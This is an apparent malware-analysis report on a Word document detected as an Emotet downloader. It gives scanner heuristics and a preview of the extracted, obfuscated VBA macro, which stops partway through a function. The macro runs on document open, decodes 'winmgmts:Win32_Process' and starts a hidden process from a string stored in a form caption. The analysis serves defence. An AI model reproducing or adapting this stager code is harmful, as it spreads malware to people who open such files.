MALICIOUS
250
Risk Score
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7353581-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7353581-0
-
Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGERRaw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Frank = CreateObject(Awjwutxjygpe(Awjwutxjygpe(FrankA))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 27833 bytes |
SHA-256: 7f64af865b1ba0a837ef6893cc169eff9458767184690d64b4b32cce297991dd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Zdrewdetvvky"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Oqailoip, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Dtqxfufzfe, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Npgocsvpe, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Thsbgalallyn, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Gpabfjcqwcd, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Ubenjbzdg, 5, 5, MSForms, CommandButton"
Attribute VB_Name = "Xdczwrcvkgb"
Function Frank(FrankA)
On Error Resume Next
Ltvzywujuksnx = Sqr("Direct164 Krystal Knolls, Lake Mable, Guadeloupe")
Mfapqzlj = Hex("181.106.55.129")
Ihgdemrio = CStr(296)
''' Mazur, Radomski and Szczesny Apt. 743 Northeast Drozd, Michalek and Rudzinski Suite 173 South
Vdrkzrwd = Rnd(436)
''' Stachura, Zaborowski and Lipinski Suite 887 East Czajka LLC Suite 451 Northwest
Ktvzyjmayzk = CByte(270)
Qonfpxaeildr = Fqiofaqyol
''' Bujak and Sons Suite 917 Southwest Jasinski - Mikolajczak Apt. 124 Northwest
Dfiqspbjb = Int(268)
Lggbjbhriw = Atn(355)
Jpkeucszc = Atn(872)
''' Kowalczyk Group Apt. 368 Southwest Klosowski - Chmielewski Apt. 047 Southwest
''' Dziedzic - Szydlowski Suite 179 Northwest Lisowski Inc Suite 230 North
Tvwstnqrhi = CStr("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/537.2.2 (KHTML, like Gecko) Chrome/26.0.851.0 Safari/537.2.2")
''' Urbaniak - Kruk Apt. 793 Northeast Jaworski Group Apt. 059 East
''' Milczarek - Szatkowski Apt. 475 West Debski - Adamus Suite 436 East
Izyhwhtujdyzb = CDbl("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_8 rv:4.0; AR) AppleWebKit/538.0.2 (KHTML, like Gecko) Version/6.1.6 Safari/538.0.2")
Set Frank = CreateObject(Awjwutxjygpe(Awjwutxjygpe(FrankA)))
Fvfxbigwxzli = Fix("DuBuque - PadbergApt. 307East")
Nrketpotkr = CByte("Sausages")
Doojkdegwcq = CDbl(127)
''' Andrzejewski - Niedzielski Apt. 062 Northwest Grzelak, Lech and Stepniak Suite 466 Northeast
Kwfluidisda = CInt(89)
''' Zietek LLC Suite 069 South Morawski LLC Suite 419 Northeast
Qkelkojmerhnp = CDate(141)
Qplayris = Pijhlknrn
''' Bialek, Balcerzak and Wozniak Suite 193 East Debowski and Sons Suite 505 South
Bkrcbbgexyfb = Round(303)
Csztfhrwevfz = CByte(621)
Huwbtjpfuywp = Int(92)
''' Krzyzanowski - Karczewski Suite 733 Northwest Zmuda, Blaszczyk and Robak Suite 305 East
''' Krawiec LLC Suite 680 West Tomaszewski - Majcher Suite 545 Southwest
Likhjpjsnyi = CStr("Bradtke - MetzSuite 891East")
''' Budzynski - Rojek Suite 606 Northwest Zukowski Inc Suite 548 North
''' Miller, Madej and Muszynski Suite 675 South Józwik - Maliszewski Suite 035 Northeast
Fgwwcwox = Sqr("Gloves")
End Function
Function Mbidwtuvrk()
On Error Resume Next
Lcwekunum = Log("244.238.18.114")
Imrvfxqegnbhj = CBool("Legacy79540 Fritsch Road, Port Lucasburgh, Solomon Islands")
Ejmuujie = Hex(655)
''' Filipek, Jaros and Kostecki Suite 507 Southwest Piatkowski - Rutkowski Apt. 890 West
Ivlijahxdd = CLng(270)
''' Wlodarski, Wyszynski and Sliwa Apt. 931 South Radomski Inc Suite 166 South
Shhricujumwkq = Round(879)
Senaizjxc = Wntkgefgrfnca
''' Gruszka, Malicki and Radecki Suite 948 North Baranski Group Apt. 734 West
Iswzbsfsps = CBool(312)
Myjkenmf = Rnd(725)
Jfsejmcfcmu = Oct(623)
''' Kozak LLC Suite 629 East Lisiecki - Kos Suite 030 North
''' Wozniak, Skowronski and Matuszak Suite 195 East Skowronski, Kawecki and Klimek Apt. 336 West
Qadderverra = CLng("40.161.199.70")
''' Gasior Group Suite 296 West Lisowski Inc Apt. 080 Northwest
''' Szatkowski LLC Suite 694 North Rudzinski - Makowski Suite 831 North
Hviooadsi = CBool("Roob GroupSuite 160West")
Eqrggvqkv = CSng("Little - StiedemannApt. 904North")
Kcnpemabuvkqa = CBool("Pizza")
Fdwowumgnut = Tan(797)
''' Motyka, Janowski and Sobczak Apt. 277 Southwest Bednarz and Sons Apt. 899 South
Iwfljqowsnmip = Fix(556)
''' Gawronski - Maliszewski Suite 770 Southeast Kasperek, Lipski and Kucinski Apt. 673 North
Nuaqdqpmnhkex = Atn(398)
Vkubsypzgjotm = Ggmpsttcpi
''' Kujawa - Michalski Apt. 581 Southeast Królikowski Group Apt. 657 Northeast
Rdylqatsbn = CByte(4)
Zxutgoxdxdb = Fix(979)
Idgbhetzoxvh = Cos(484)
''' Fraczek Inc Suite 217 East Glowacki, Turek and Golab Apt. 862 North
''' Mazurek - Lewandowski Apt. 003 West Skalski and Sons Apt. 728 Northwest
Stwjssypuyzwa = CInt("Fish")
''' Szafranski, Kubik and Mucha Suite 816 South Jedrzejczak Group Suite 418 Northwest
''' Grzegorczyk, Slusarczyk and Jurek Apt. 118 East Krajewski and Sons Apt. 100 Northeast
Locutiwmrti = CSng("Pizza")
Gfdlxztju = Awjwutxjygpe(Awjwutxjygpe(Zdrewdetvvky.Gpabfjcqwcd.Caption))
Hbphekgy = Cos("Kozey IncApt. 654Southwest")
Nijybppsvrca = Cos("67.227.83.37")
Jlmyocfw = CDbl(81)
''' Borowiec - Debowski Suite 463 Southeast Staszewski Group Apt. 566 Northeast
Bbfxwcdo = Round(653)
''' Wnuk - Zak Suite 466 South Kurowski, Pakula and Sosnowski Apt. 112 Southwest
Apjcdcyhhmy = Tan(419)
Nxsyhjbmr = Xakswtnnqf
''' Wolny - Bialas Suite 946 Northwest Fijalkowski - Kaszuba Apt. 475 Southeast
Bkumdyopcuvr = Rnd(65)
Eveidjja = Tan(200)
Sfloykqa = CLng(660)
''' Rogowski, Glogowski and Bielecki Apt. 183 Southeast Zawadzki, Zych and Motyka Suite 965 West
''' Przybylski LLC Suite 543 East Kubica, Kalisz and Adamus Apt. 709 South
Qomxxocr = Sgn("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/537.1.2 (KHTML, like Gecko) Chrome/26.0.861.0 Safari/537.1.2")
''' Twardowski - Golebiowski Suite 206 Southeast Malec, Piechota and Bielak Suite 268 North
''' Wisniewski - Frackowiak Suite 286 North Kulig Inc Suite 629 Northeast
Estsosii = Log("Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/5.0; .NET CLR 1.2.97630.4)")
Set Pptdhloxk = Frank(Zdrewdetvvky.Dtqxfufzfe.Caption)
Klmzgfdj = Round("Forward067 Rau Crossing, Kuphalburgh, Iceland")
Dpadnfuhr = CBool("Global12230 Klein Estates, Aileenland, United States of America")
Mafceadiwhyon = CByte(445)
''' Kulig Group Apt. 686 Southwest Malec Group Suite 101 Northwest
Wdrbjtwfab = CStr(289)
''' Gajda Inc Apt. 832 North Rybicki - Chrzanowski Suite 593 South
Bfuejzdxkgxbf = Oct(392)
Safbnrcj = Qneqvfbbabc
''' Kwiecinski, Niedzielski and Szczygiel Suite 547 South Wiacek LLC Suite 981 South
Ookoapfp = Sin(519)
Rdfuzphywc = Tan(362)
Mygpbwafyyqx = CDate(592)
''' Pakula - Kulik Apt. 779 East Skóra, Wronski and Sikorski Apt. 311 Northwest
''' Ptak, Kurowski and Kaminski Suite 674 Southwest Kubicki - Mierzejewski Apt. 589 South
Ddculauemnq = CLng("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/531.1.1 (KHTML, like Gecko) Chrome/23.0.899.0 Safari/531.1.1")
''' Kasprzak Group Apt. 966 Northeast Sobczak LLC Suite 187 Northeast
''' Swiderski Inc Suite 969 Northwest Wiecek - Grzegorczyk Apt. 662 North
Lsdgzoub = CByte("Central880 Stiedemann Turnpike, Adolphusberg, Western Sahara")
Pptdhloxk.ShowWindow = 123# - 123#
Pxnnihctr = Sgn("Dynamic47269 Durgan Parkways, West Margechester, Tokelau")
Lnkzdsfja = CDbl("Parker, Abernathy and WittingApt. 115Northeast")
Gdkuaydi = Hex(561)
''' Stelmach, Flis and Sosnowski Apt. 400 Southeast Piatek, Wojciechowski and Gasior Apt. 766 North
Ljlgcnmrdgda = CSng(510)
''' Misztal, Rucinski and Kaminski Apt. 531 Northeast Kus Inc Suite 454 East
Aqwmznhjpl = Sin(157)
Dohepjmoze = Bftrxjzgiauj
''' Rojek - Adamiec Apt. 891 Southeast Zawadzki Inc Apt. 215 Southeast
Jhlbuzpskyk = Fix(671)
Ungjwrektup = CByte(300)
Mlbctycya = Cos(173)
''' Skalski - Pajak Apt. 446 West Szelag Inc Suite 671 South
''' Falkowski, Kaluza and Zaborowski Suite 896 Northeast Bielski - Mroczkowski Apt. 738 Southwest
Yjzdiuuh = Int("Pants")
''' Konieczny Group Suite 188 North Czaja - Bialas Suite 625 Southeast
''' Pawlikowski, Bilski and Szulc Suite 177 Southwest Zawada, Kuc and Bogusz Apt. 341 Northwest
Fscqyrxgpmvp = CByte("Kertzmann IncSuite 317South")
Ufvhugnyrhp = CInt("215.87.128.134")
Bvedususdezpm = CStr("Wilderman - WeberApt. 156Northeast")
Tpaxkmok = CSng(561)
''' Komorowski and Sons Apt. 634 Southwest Ratajczak Group Suite 925 Southeast
Xzomvcxcpvlu = CBool(5)
''' Chrzanowski - Jagodzinski Apt. 215 Southwest Kita, Tokarski and Kubacki Suite 575 Northwest
Pnvqbvrhwjf = CDbl(120)
Symmlfiws = Ibbmwosyl
''' Wróbel, Dominiak and Kolasa Apt. 963 Southeast Broda Group Apt. 879 South
Xrxiddpdf = CBool(15)
Vfediaovrwhp = Sin(809)
Uelhqhqvkbvoc = Rnd(115)
''' Guzik - Gruszczynski Apt. 317 West Jurkiewicz - Makowski Apt. 849 West
''' Zygmunt, Juszczak and Kotowski Apt. 315 Northwest Ziólkowski - Marchewka Apt. 651 Northeast
Hpaypgwit = CSng("134.56.51.250")
''' Czajka, Matuszewski and Kaczmarski Suite 573 Southwest Prus, Filipiak and Jedrzejczak Suite 614 South
''' Krukowski, Malicki and Szyszka Apt. 165 Southwest Gasior Inc Suite 735 East
Jqtlqbpjjyev = Log("16.240.2.66")
Eqawvjgfn = CByte("Forward2045 Hagenes Summit, Lake Hailie, Zambia")
Ofqcrptpdolg = Oct("Internal0805 Chad Cape, Armstrongfort, Bolivia")
Dchcqgrcke = Sqr(784)
''' Kowal - Buczynski Apt. 450 West Kubicki - Kowalik Apt. 623 Southeast
Xwyfrdixqt = Int(854)
''' Piasecki - Rosa Apt. 804 Northwest Piatkowski LLC Apt. 798 Southeast
Clpnyttkwlr = Hex(163)
Dxramvlmfsxry = Xguksszer
''' Romanowski, Kalinowski and Skrzypek Apt. 848 Northeast Marszalek - Przybysz Apt. 129 Southwest
Qlfplergo = CLng(998)
Xdyycxtrwawl = Sqr(419)
Rhngdsaxhfa = Sgn(489)
''' Kostrzewa - Czyz Suite 423 Southwest Konopka - Serafin Apt. 875 Northeast
''' Malecki - Wronski Suite 645 East Makowski, Malec and Malicki Suite 484 Northeast
Gszricfiqlt = Sin("60.61.159.117")
''' Jagielski LLC Suite 124 North Wojtkowiak, Kulik and Rusin Suite 659 East
''' Orlowski - Kaniewski Suite 297 Southwest Swierczynski, Sobczyk and Staszewski Apt. 943 West
Kzgetzsz = Log("Keyboard")
Sguoslqgifp = Frank2("hdnshdnshdnswinhdnshdnsmgmtshdnshdns:Whdnshdnsin32_hdnshdnsPrhdnshdnsochdnshdnseshdnshdnss", Gfdlxztju, Pptdhloxk)
Swkiolxyclxnd = CByte("Table")
Gepwsrnwloctp = CSng("Skiles - RutherfordSuite 267Southwest")
Bndsjfsibi = Hex(421)
''' Lisowski - Zajaczkowski Suite 424 Southwest Michalik, Czyz and Kedziora Apt. 995 Northeast
Dsbheocb = CDate(56)
''' Jagielski, Buczek and Paczkowski Suite 288 South Piórkowski Inc Suite 993 West
Olheayumriv = Atn(370)
Kkkmsownnw = Ekgyenbhky
''' Chmura, Baginski and Klimek Apt. 380 West Pietras - Lach Suite 082 Northwest
Fftoprmfli = Round(195)
Tcjmgdbortvon = CLng(192)
Vukymsahnu = Rnd(706)
''' Godlewski Inc Suite 621 Southwest Wójcicki Group Suite 261 North
''' Wlodarczyk - Suski Suite 258 East Marcinkowski - Trzeciak Apt. 352 Southeast
Vjlywtifcdobh = Cos("Forward38567 Botsford Mountains, Fadelside, Western Sahara")
''' Walczak, Rojek and Smolinski Apt. 628 Southwest Bialas - Kuchta Apt. 318 West
''' Gajda - Domagala Apt. 746 South Gadomski Inc Apt. 966 Northwest
Sljfacer = Oct("Schimmel, Grimes and AnkundingApt. 729Southeast")
Vftyncjptjrb = Cos("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0; .NET CLR 2.1.15889.4)")
Swdvxrpvk = CInt("Ball")
Apsxxiisuls = Cos(605)
''' Sitek and Sons Suite 499 Northwest Partyka, Szydlowski and Markowski Apt. 223 North
Mttvqxwxd = Round(486)
''' Wójcik - Kacprzak Apt. 724 North Dobrowolski - Królikowski Apt. 597 West
Xbpeeczupin = Round(790)
Rvbjiruzdvi = Tfnhtwzdawtdo
''' Aleksandrowicz, Morawski and Siwek Suite 042 West Blaszczyk LLC Apt. 879 Southeast
Ydzzgcduwn = CInt(559)
Uoufgagjuh = Cos(288)
Rnnrzifuaja = CBool(805)
''' Józwik LLC Apt. 625 Southwest Zawadzki, Sowinski and Mackowiak Suite 370 North
''' Gawronski, Puchalski and Olszewski Apt. 540 Northeast Domagala, Tkaczyk and Wegrzyn Suite 353 South
Jxupkquekfpgq = CDbl("Principal96125 Howell Prairie, Sawaynland, Turks and Caicos Islands")
''' Biernacki - Bakowski Apt. 707 North Robak LLC Suite 735 North
''' Mroczkowski Inc Apt. 172 East Maslanka and Sons Apt. 934 North
Hiqrvkht = Int("Dynamic11032 Moen Lock, South Derekstad, Brazil")
End Function
Attribute VB_Name = "Vmacfzxq"
Function Frank2(FrankA21, FrankA22, FrankA23)
On Error Resume Next
Wptwlnyim = Int("145.42.189.6")
Ylftbmiln = CBool("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/536.2.2 (KHTML, like Gecko) Chrome/32.0.881.0 Safari/536.2.2")
Hybirqlcvv = Tan(33)
''' Kwiatkowski, Niemiec and Grzesiak Suite 071 Northwest Szewczyk, Krzeminski and Gawel Suite 702 North
Eyegykdlsf = CInt(920)
''' Gawron, Brzezinski and Dudziak Suite 208 West Bak, Buczek and Trzcinski Suite 755 Northwest
Houthxkj = CDate(187)
Ivudwhxjkm = Bvwgkbkl
''' Adamiak and Sons Suite 011 Northwest Golab - Suski Suite 186 Northeast
Eaacwrvy = CLng(894)
Bspjlunvojuhi = Fix(355)
Yxbnjywvgrt = Sqr(708)
''' Zurek LLC Suite 631 Southwest Szczesny - Buczek Suite 017 Northwest
''' Domanski - Aleksandrowicz Apt. 691 Southwest Grochowski, Twardowski and Slowik Suite 772 West
Lfombvajfmup = Sqr("231.227.99.40")
''' Kowalczyk LLC Suite 806 Southeast Chmielewski - Flak Apt. 561 West
''' Józwiak Inc Suite 393 Southeast Raczynski, Kos and Marcinkowski Apt. 091 Southeast
Xihwrvpxuul = Int("Forward24368 Price Mountain, Port Olinstad, Montserrat")
Set FrankA211 = Frank(FrankA21)
Jbgnwjqbmwmn = Int("Dynamic6955 Prohaska Light, Ferrychester, China")
Qmrlohtht = Fix("Corporate468 Rutherford Well, Jovannymouth, Niger")
Bhtkissuxow = Sin(415)
''' Rojek Group Apt. 741 West Drózdz - Walczak Apt. 846 Northwest
Iftqktrmaavn = CStr(404)
''' Twardowski - Koziel Suite 413 North Grzesik, Dudzinski and Pietrzak Apt. 541 North
Ijzbhxyucwre = Oct(588)
Tertsxcindwa = Bhyxyzjk
''' Kolodziejczyk Group Apt. 438 Southwest Tarnowski - Sochacki Apt. 782 Southeast
Pwvodxzgpw = Oct(120)
Icumrzvvfgew = Int(924)
Xtfeligfevbo = Int(957)
''' Zieba, Czerwinski and Mazur Apt. 393 Northwest Mielczarek and Sons Apt. 296 Northwest
''' Olczak, Balcerzak and Rosiak Apt. 855 Northwest Kaczmarek, Osinski and Pawlicki Apt. 488 South
Dqlwifywclh = Sqr("Human117 Keebler Shoal, South Jackie, Holy See (Vatican City State)")
''' Kaczor - Olejnik Suite 845 Southeast Sokolowski - Lach Apt. 190 Northwest
''' Gadomski, Góra and Bielski Suite 159 Southeast Pietruszka - Ptak Apt. 014 Northeast
Chiryuhzfak = Sqr("Hickle - GrantApt. 697East")
Frank2 = FrankA211.Create(FrankA22, Shhuazgrnnyw, FrankA23, Bvzhbdsdla)
Cheqwjtvtwq = CSng("Table")
Lvijvbovvhtz = CInt("221.121.107.0")
Pwiulrhvhtkge = CInt(924)
''' Kosinski and Sons Apt. 375 East Lenart - Sobieraj Apt. 284 Northeast
Umcmqkxeexhtr = Rnd(236)
''' Glogowski, Graczyk and Pietras Suite 647 Northwest Kubacki, Sowa and Witczak Suite 360 Southwest
Lqcjdzkbfbkqn = Sin(442)
Oxozbuqmcprre = Yqoihudu
''' Matuszak LLC Suite 446 Southwest Orlowski Group Suite 552 East
Jlxlgukogijer = Sqr(580)
Udaumhgea = Sqr(515)
Ceiekdtcsjtb = Log(833)
''' Sitek Group Suite 739 Northwest Mazurek - Karpinski Suite 270 East
''' Jaros LLC Suite 837 Southeast Wolak and Sons Suite 882 Southeast
Gdyoutzicnqd = CLng("Soap")
''' Skrzypek - Pakula Suite 722 Southeast Bialas - Falkowski Suite 086 West
''' Radecki - Skrzypczak Apt. 932 Southeast Czajkowski, Soltysiak and Stelmach Suite 175 South
Pdgwimsfgb = Fix("Corporate77087 Heaney Crossroad, South Lamont, Angola")
End Function
Sub autoopen()
On Error Resume Next
Mizlghwogdcdx = CBool("Shirt")
Qyxhajbngz = Round("127.41.20.99")
Egyreshu = Rnd(848)
''' Januszewski - Klos Apt. 448 North Iwanski, Stepniak and Dobosz Suite 712 North
Fudbgcxgzjvkv = CSng(195)
''' Furman Inc Apt. 814 Southeast Musial - Lech Apt. 852 Northeast
Keokusmmgrii = CSng(635)
Lpkfqsdeycyqa = Ftkpwuotjj
''' Mróz, Michalik and Graczyk Apt. 029 East Czajka and Sons Suite 146 Northeast
Iwjytlintlff = CBool(909)
Gfllesmbbyxt = Tan(379)
Xvbvjyuh = CByte(372)
''' Stawicki, Mierzejewski and Malinowski Apt. 619 East Szelag, Karas and Piórkowski Apt. 755 East
''' Noga Inc Suite 291 Southwest Adamus, Aleksandrowicz and Golebiewski Suite 188 North
Fermruofz = Oct("Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Trident/5.1)")
''' Rzepka, Borek and Leszczynski Suite 320 South Nowacki - Lisiecki Apt. 390 North
''' Antczak LLC Apt. 563 South Domagala, Lukaszewski and Banas Apt. 648 North
Iixfohgvlaa = CSng("Table")
Xywujeljjxce = CDbl("Chair")
Pwcfrwzwfpe = CBool("Bike")
Hrprplhesskh = Sqr(919)
''' Stasiak and Sons Suite 127 Northwest Kedziora, Marszalek and Kosowski Suite 601 Northeast
Zbhxtmxwmhmf = Tan(814)
''' Szymczak, Górniak and Wilk Apt. 061 East Górny Inc Suite 716 North
Ashqkkdrtgms = Sqr(830)
Wesxzcavyr = Vlfhekfldz
''' Dominiak LLC Apt. 188 West Dabkowski - Tarnowski Suite 949 Southwest
Xhphhakbtmzi = Sgn(934)
Gdvfupfxpsm = Sqr(311)
Cmghwsxa = Round(561)
''' Stolarczyk, Partyka and Mlynarczyk Apt. 978 West Zawada, Marciniak and Musial Suite 637 Southeast
''' Wos - Michalak Apt. 704 West Wolinski - Szwarc Apt. 273 East
Snxgjsimxs = Log("Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.2.0 (KHTML, like Gecko) Chrome/17.0.831.0 Safari/532.2.0")
''' Lukaszewski and Sons Apt. 934 Southeast Golebiowski, Slowik and Janus Suite 644 East
''' Drzewiecki Group Apt. 616 East Klimczak, Stanislawski and Zwolinski Apt. 621 West
Cqxfvpzs = Int("Mueller - HarveyApt. 424East")
Mbidwtuvrk
Opqiiwprnai = Sgn("Beahan and SonsApt. 369North")
Mcsujvxhz = CInt("Dynamic305 Hartmann Highway, North Evangeline, Namibia")
Tqehtgcgo = CInt(993)
''' Rogalski, Wisniewski and Pilch Suite 947 South Filipowicz - Drozdowski Suite 943 Southwest
Ukruzscyi = Int(84)
''' Niedzwiecki and Sons Suite 688 Southwest Bartkowiak LLC Suite 556 North
Auhwmdatipokp = Atn(180)
Hxgxbsuehido = Earpwpkzx
''' Trojanowski - Sowinski Suite 522 Northeast Kasprzak - Olejniczak Apt. 914 South
Fubtfzcdhkfrk = CLng(199)
Gqaoipfod = Rnd(433)
Uschiamzwxskb = CDate(697)
''' Jasinski - Musial Suite 861 Southeast Skiba LLC Suite 897 Southwest
''' Bialas - Biernacki Apt. 684 Southeast Slawinski - Guzik Apt. 249 North
Lovzigbr = CStr("VonRueden, Ruecker and WolfSuite 797Southwest")
''' Janusz - Grzelak Apt. 902 Southeast Zagórski, Marzec and Strzelczyk Suite 266 Northwest
''' Walczak - Zalewski Apt. 377 Southeast Gawronski, Lukaszewski and Kogut Suite 558 Northeast
Ziliagxeiejb = CDbl("Rohan IncSuite 236Southwest")
Tjcczhza = CSng("Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/532.2.1 (KHTML, like Gecko) Chrome/23.0.897.0 Safari/532.2.1")
Cpvcnjgokvxa = Round("Ball")
Mlzfijorqf = Sgn(454)
''' Mackowiak LLC Apt. 047 East Rogala - Jurkiewicz Suite 111 Northeast
Sazbdtxxv = Oct(633)
''' Nawrot - Mlynarczyk Suite 925 West Dudziak - Szulc Apt. 483 Southwest
Kkcgnqncsr = Hex(792)
Oitsdekzqug = Pjrdcuody
''' Bielski, Zak and Czech Suite 263 East Zietek, Adamczak and Kucinski Apt. 608 Southeast
Gdbaccppalls = Sin(608)
Usljwqek = Oct(67)
Hvzpxelpuylzd = Round(501)
''' Luczak Group Suite 609 East Slawinski, Piotrowski and Kwiatkowski Suite 533 Northwest
''' Czaja Inc Suite 392 Southeast Kaczmarek LLC Apt. 157 West
Nfqrudrhcibct = CByte("Product521 Cortez Curve, Ettiemouth, Solomon Islands")
''' Malecki, Koziol and Bartkowiak Apt. 491 Northwest Strzelecki LLC Suite 246 East
''' Makowski - Zygmunt Suite 080 Northwest Ostrowski LLC Apt. 283 Southwest
Qwddthczswzwy = Int("Lead609 Alicia Shoals, New Elza, Colombia")
End Sub
Function Awjwutxjygpe(Fbwjmmosjy)
On Error Resume Next
Caoyqrkpvpj = Oct("48.184.91.3")
Nenvgauxm = Fix("Bacon")
Ouaoyzzbsqnyv = Tan(566)
''' Zielinski, Adamczak and Wróbel Apt. 571 Southwest Drózdz Inc Apt. 088 Southwest
Aaeolcyaq = Round(122)
''' Nowaczyk, Baran and Sobolewski Suite 663 South Sowa and Sons Suite 445 Southeast
Vgvkqpgskw = Log(416)
Rwpicrafshyz = Xitptjgmesfi
''' Górski, Krupinski and Siwek Suite 088 Southwest Rózycki Group Apt. 087 West
Sceljfnsvtwip = CSng(774)
Nhvqxsxzucho = CSng(213)
Xctqdnpdnqog = CLng(87)
''' Furman and Sons Apt. 223 Northeast Michalak, Wypych and Tarnowski Apt. 576 Northwest
''' Mielczarek and Sons Apt. 052 Southwest Polak, Wrona and Kwiecien Apt. 994 South
Zskuetqljsc = Sqr("Investor1591 Jerde Brook, Gerlachtown, Moldova")
''' Grzesiak Inc Suite 590 East Laskowski, Urbanski and Lukaszewski Suite 402 Northeast
''' Hajduk, Kaczmarczyk and Jedrzejczyk Apt. 602 West Krupinski - Blaszczak Suite 593 Southeast
Djicriayqcrm = CInt("Central96323 Runolfsdottir Pike, Douglasmouth, Andorra")
Tzobmkrkqowt = CBool("Sausages")
Ebqipbioif = CStr("209.240.29.202")
Puarewjkatit = CBool(979)
''' Lisowski - Koziel Apt. 754 Southwest Chudzik and Sons Suite 029 East
Kurtoumd = Cos(19)
''' Gawlik - Radecki Apt. 996 East Czapla - Kostrzewa Suite 098 Southwest
Mcznmeriz = Cos(420)
Xkykajbmktxf = Nxpqhilzufb
''' Augustyn - Banasik Suite 849 Northwest Karpinski, Banas and Majcher Suite 233 Northeast
Xvcaulfnksjo = Log(828)
Rlmpxlxzhb = Fix(262)
Jjyptidodqhs = CStr(40)
''' Kruk, Kotowski and Jakubowski Apt. 748 East Pawlowski - Frankowski Suite 822 West
''' Baranski - Gil Apt. 302 North Pietrzyk Group Apt. 417 North
Jccfgcxxuniq = Round("Fish")
''' Fraczek LLC Apt. 642 Northeast Pawlik - Stankiewicz Apt. 414 Northwest
''' Jagiello Group Apt. 105 South Herman Group Apt. 577 Northeast
Xyobjccvpu = CBool("Mozilla/5.0 (Windows NT 5.3; rv:8.9) Gecko/20100101 Firefox/8.9.7")
Yndhfnrg = Fbwjmmosjy
Hiuijyxp = CInt("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.0; Trident/7.0)")
Fsqvwnqqwp = Sin("Mouse")
Evysjrykxt = Cos(887)
''' Dudzinski, Napierala and Przybylski Suite 788 Southeast Staniszewski, Piatkowski and Jablonski Suite 501 East
Gyunfyvebo = CStr(229)
''' Frackowiak, Gruszczynski and Lasota Suite 061 South Mackowiak - Ciszewski Suite 882 West
Nmqpyjtcf = Tan(151)
Zkrofrjo = Gpxtclxurjpir
''' Morawski Group Suite 540 Northeast Jastrzebski - Wojtczak Apt. 278 Southwest
Biloaqejuvcnk = Oct(391)
Rabhgxswwyv = CStr(41)
Morsmreixzk = Fix(708)
''' Wlodarski - Misiak Apt. 325 North Kowal - Kubik Apt. 679 Southeast
''' Kubacki, Frankowski and Malicki Apt. 227 East Kolodziej, Sobolewski and Radecki Apt. 067 East
Fdxzxned = Int("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko")
''' Wojtczak - Jedrzejczak Suite 000 Northwest Dziedzic Inc Suite 873 North
''' Szczesna LLC Apt. 426 Southeast Krupinski Group Suite 353 Southeast
Gkxzilppeiq = CBool("Product9301 Jast Mount, Lake Marielle, Portugal")
Vwvkekpvjt = CDate("Mueller, Bauch and KonopelskiApt. 771Northwest")
Ranjueqmw = CStr("Breitenberg - WaelchiSuite 863Northwest")
Ayzhmjjwuf = Oct(524)
''' Lech - Grudzien Apt. 493 East Rutkowski - Wiecek Apt. 741 Northwest
Fqqkwwubgndbe = CLng(577)
''' Misztal - Zakrzewski Apt. 047 South Kepa Group Suite 123 Northwest
Sfukpqluledc = Tan(520)
Wlaxdhte = Qcdenvydtnqr
''' Golec, Chmiel and Klimek Suite 361 West Szostak - Sokól Apt. 516 South
Dhuwegttiajb = CLng(28)
Blcolatn = CLng(721)
Hqfajykfl = Round(406)
''' Kita Group Suite 071 Southeast Stachowiak, Adamiec and Chojnacki Suite 914 East
